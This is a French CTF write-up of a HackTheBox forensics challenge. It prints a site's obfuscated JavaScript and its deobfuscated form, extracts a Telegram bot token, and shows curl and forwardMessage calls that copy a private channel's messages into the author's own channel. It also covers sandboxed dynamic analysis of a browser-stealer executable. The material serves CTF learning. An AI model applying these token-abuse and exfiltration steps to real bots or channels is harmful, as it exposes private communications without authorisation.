La semaine dernière j’ai eu l’occasion de participer au CTF Cyber Apocalypse de Hackthebox dans ma toute nouvelle équipe, j’ai nommé « Subscale ». À cette occasion je vous ai rédigé 3 writeups sur les challenges que j’ai préférés. Mais trêve de blabla, rentrons dans le vif du sujet !
Le challenge
Pour ce deuxième writeup je vous propose un challenge de forensique noté difficile. Au programme, traque de hackeur sur le Web, puis sur télégramme. Reverse de malware sur Windows, desobfuscation de code JavaScript. Pas d’objectif très précis concernant l’emplacement du flag.
Le challenge nous redirige sur un site WEB plutôt simpliste, dont je vous ai mis une capture ci-dessous. L’énoncé nous indique qu’il s’agirait d’un point de communication pour une entité criminelle 🥷.
Inspection du site
À première vue, rien d’anormal. Mais si on ouvre l’œil (et le bon 👀) on remarque rapidement quelque chose d’étrange. En effet, la page charge un code JavaScript.

Mais celui-ci est presque illisible.

Mon 6e sens s’affole et je comprends qu’il s’agit d’un code JavaScript obfusqué.
Un code obfusqué est un code source qui a été délibérément modifié pour le rendre difficile à comprendre tout en maintenant son fonctionnement.
Je lance une console JavaScript sur la page, j’ouvre mon VSCode et j’y copie-colle le code. Il n’y a plus qu’à comprendre ce qu’il fait.
Désobfuscation Javascript
Pour être honnête, je n’ai pas de méthode particulière pour désobfusquer du code JavaScript. Je me contente de jouer sur une analyse dynamique et statique en me servant de la console du navigateur. Dans le cadre de ce challenge, la désobfuscation est une étape plutôt abordable. On remarque qu’un tableau est initialisé au début du code : _$_9b39. Il s’agit d’une variable globale donc on peut tout simplement l’afficher dans la console.

Le code déchiffre très certainement des données en AES. On cherche à déterminer si le script fait un appel à la fonction eval pour exécuter un possible code caché (c’est souvent le cas).

Et mon intuition avait vu juste 🕵️. On peut remplacer le eval par un console.log pour afficher le code caché au lieu de l’exécuter, puis on copie-colle notre code modifié dans la console JavaScript.

Malheureusement le code caché est lui aussi obfusqué. Je l’envoie sur JS-Beautifier puis je colle le résultat de VSCode.

De la même manière que tout à l’heure le script déclare deux tableaux « _$_8b18 » et « _$_5975 » que l’on peut afficher dans la console JS.


On remarque une référence à l’API de télégramme (_$_5975[13]). En cherchant le code qui utilise cette chaine de caractère, on trouve la fonction réellement intéressante du code, la fonction « f ».
function f(oferkfer, icd) {
const channel_id = -1002496072246;
var enc_token = _$_5975[0];
if (oferkfer === G(_$_5975[1]) && CryptoJS[_$_5975[7]](sequence[_$_5975[6]](_$_5975[5]))[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[2]]) === _$_5975[8]) {
var decrypted = CryptoJS[_$_5975[12]][_$_5975[11]](enc_token, CryptoJS[_$_5975[3]][_$_5975[9]][_$_5975[10]](oferkfer), {
drop: 192
})[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[9]]);
var HOST = _$_5975[13] + String[_$_5975[14]](0x2f) + String[_$_5975[14]](0x62) + String[_$_5975[14]](0x6f) + String[_$_5975[14]](0x74) + decrypted;
var xhr = new XMLHttpRequest();
xhr[_$_5975[15]] = function() {
if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) {
const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]);
try {
const link = resp[_$_5975[20]][_$_5975[19]];
window[_$_5975[23]][_$_5975[22]](link)
} catch (error) {
alert(_$_5975[24])
}
}
};
xhr[_$_5975[29]](_$_5975[25], HOST + String[_$_5975[14]](0x2f) + _$_5975[26] + icd + _$_5975[27] + channel_id + _$_5975[28]);
xhr[_$_5975[30]](null)
} else {
alert(_$_5975[24])
}
};;
En replaçant les _$_5975[i] par leur valeur associée, et les fonctions appelées par leur résultat, on obtient le code ci-dessous :
function f(oferkfer, icd) {
const channel_id = -1002496072246;
if (oferkfer === "0p3r4t10n_4PT_Un10n"
&& CryptoJS.SHA256(sequence.join("")).toString(CryptoJS.enc["base64"]) ===
"18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=") {
var decrypted = CryptoJS.RC4Drop.decrypt("nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==", CryptoJS.enc["Utf8"].parse(oferkfer), {
drop: 192
}).toString(CryptoJS.enc["Utf8"]);
var HOST = "https://api.telegram.org/bot" + decrypted;
var xhr = new XMLHttpRequest();
xhr[_$_5975[15]] = function() {
if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) {
const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]);
try {
const link = resp["result"]["text"];
window.location.replace(link)
} catch (error) {
alert(_$_5975[24])
}
}
};
xhr[_$_5975[29]](_$_5975[25], HOST + "/forwardMessage?chat_id=" + icd + "&from_chat_id=" + channel_id + "&message_id=5");
xhr[_$_5975[30]](null)
} else {
alert(_$_5975[24])
}
}
Je n’ai pas remplacé tous les _$_5975, mais c’est suffisant pour comprendre ce que fait la fonction :
– elle prend deux paramètres « oferkfer » et « icd »
– elle vérifie que « oferkfer » vaut bien « 0p3r4t10n_4PT_Un10n » et que le condensat SHA256 encodé en base64 des éléments de la liste « sequence » concaténés vaut bien « 18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g= ».
– Si ces deux conditions sont validées, elle déchiffre la chaine « nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q== » en RC4Drop, une variante de l’algorithme RC4 (Rivest Cipher 4) avec la clé « oferkfer » (qui vaut, pour rappel, « 0p3r4t10n_4PT_Un10n »). Il s’agit de la clé d’API d’un bot télégramme.
– Elle envoie une requête forwardMessage à l’API de télégramme via la clé d’API obtenu précédemment. Cette requête d’API a pour effet de transférer le message d’Id 5 du chanel d’Id -1002496072246 (chanel Télégramme privé car id négatif) vers le chanel d’Id idc passé en paramètre de la fonction.
– Elle récupère le contenu du message (probablement une URL), et redirige l’utilisateur dessus.
On peut afficher la clé d’API du bot Télégramme en reprenant simplement le code de déchiffrement avec les bons paramètres.

- Le petit plus
Si on veut s’intéresser aux conditions nécessaires pour forwardé le message, ce qui n’est pas nécessaire maintenant qu’on dispose de toutes les informations pour le faire nous même, il faut comprendre ce que fait la fonction qui appelle la fonction f.
document[_$_8b18[3]](_$_8b18[14])[_$_8b18[13]](_$_8b18[0], function(e) {
e[_$_8b18[1]]();
const emailField = document[_$_8b18[3]](_$_8b18[2]);
const descriptionField = document[_$_8b18[3]](_$_8b18[4]);
let isValid = true;
if (!emailField[_$_8b18[5]]) {
emailField[_$_8b18[8]][_$_8b18[7]](_$_8b18[6]);
isValid = false;
setTimeout(() => {
return emailField[_$_8b18[8]][_$_8b18[9]](_$_8b18[6])
}, 500)
};
if (!isValid) {
return
};
const emailValue = emailField[_$_8b18[5]];
const specialKey = emailValue[_$_8b18[11]](_$_8b18[10])[0];
const desc = parseInt(descriptionField[_$_8b18[5]], 10);
f(specialKey, desc)
});;
Pour faire simple, cette fonction récupère le contenu des champs email et description. Le champ email correspond au paramètre « oferkfer » de la fonction f. Le champ description doit contenir un nombre, plus précisément l’Id d’un chanel Télégramme. Il est converti en Int et correspond au paramètre « icd » de la fonction.
Il faut également s’intéresser au contenu de la liste séquence, dont le condensat la concaténation des items est comparé à « 18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g= ». Chaque clique sur une option ajoute son id (c1, c2, c3 ou c4) à la liste séquence. Il faut donc générer toutes les permutations possibles et calculer le condensat associé jusqu’à trouver celle qui correspond.
Le bot télégramme
On a maintenant la clé d’API d’un bot télégramme et un l’id d’un chanel privé utilisé par les criminels. On peut s’en servir pour exfiltrer tous les messages de ce chanel.
Étrangement, on ne peut pas directement lire les messages via l’API de télégramme. Le seul moyen d’y accéder est de les retransmettre sur un chanel télégramme que l’on contrôle. Pour cela, on doit commencer par créer un chanel et y ajouter le bot via son nom d’utilisateur, que l’on peut obtenir via l’endpoint getMe de l’API.
$ curl https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/getMe
{
"ok": true,
"result": {
"id": 7767830636,
"is_bot": true,
"first_name": "OperationEldoriaBot",
"username": "OperationEldoriaBot",
"can_join_groups": true,
"can_read_all_group_messages": false,
"supports_inline_queries": false,
"can_connect_to_business": false,
"has_main_web_app": false
}
}
Une fois le bot ajouté sur notre chanel télégramme (ici zoulou945), on utilise la méthode forwardMessage de l’API pour retransmettre les messages.
https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessage?chat_id=@zoulou945&from_chat_id=-1002496072246&message_id=<id du message>
En parcourant les id de 1 à 12, on récupère tout les messages que les criminels se sont envoyés.


On trouve, parmi ces messages, une archive zip protégée par un mot de passe et son mot de passe. L’archive contient une exécutable pour Windows, que les criminels décrivent comme étant un stealer ciblant le navigateur Brave.
Un « stealer » est un type de malware conçu pour voler des informations sensibles stockées dans les navigateurs, comme des identifiants de connexion, des mots de passe, des cookies de session et des données de formulaires.
Reverse du malware

Malgré le fait que le programme n’ait pas l’air très net, j’ai décidé de procéder à un reverse dynamique dans un environnent sandboxé. Mon premier réflexe a été de lancer process monitor (aka proc mon) et de regarder les écritures que fait le programme.

Mais ça n’a pas donné grand-chose. J’ai ensuite décidé d’analyser ses activités sur le réseau et là :

On s’aperçoit qu’il y a des requêtes DNS qui partent pour un serveur zolsc2s65u.htb. Après un rapide et naïf petit ping on s’aperçoit que le nom de domaine n’arrive pas à se résoudre. J’ai alors modifié le fichier de DNS local Windows pour associé l’adresse IP de mon serveur à ce nom de domaine, puis relancer le programme.

On voit que ce dernier essaie de se connecter sur le port 31337 en TCP. Je mets donc un netcat en écoute sur ce port et je relance le programme.

Le programme communique en HTTP. Je mets en place rapidement un serveur HTTP honeypot sur ce port avec mon ami GPT et je relance le programme.

Je reçois bien une requête HTTP valide, qui contient un token JWT. Je l’analyse sur jwt.io.

Je décode le base64 et … 🥁

J’obtiens le flag 😎.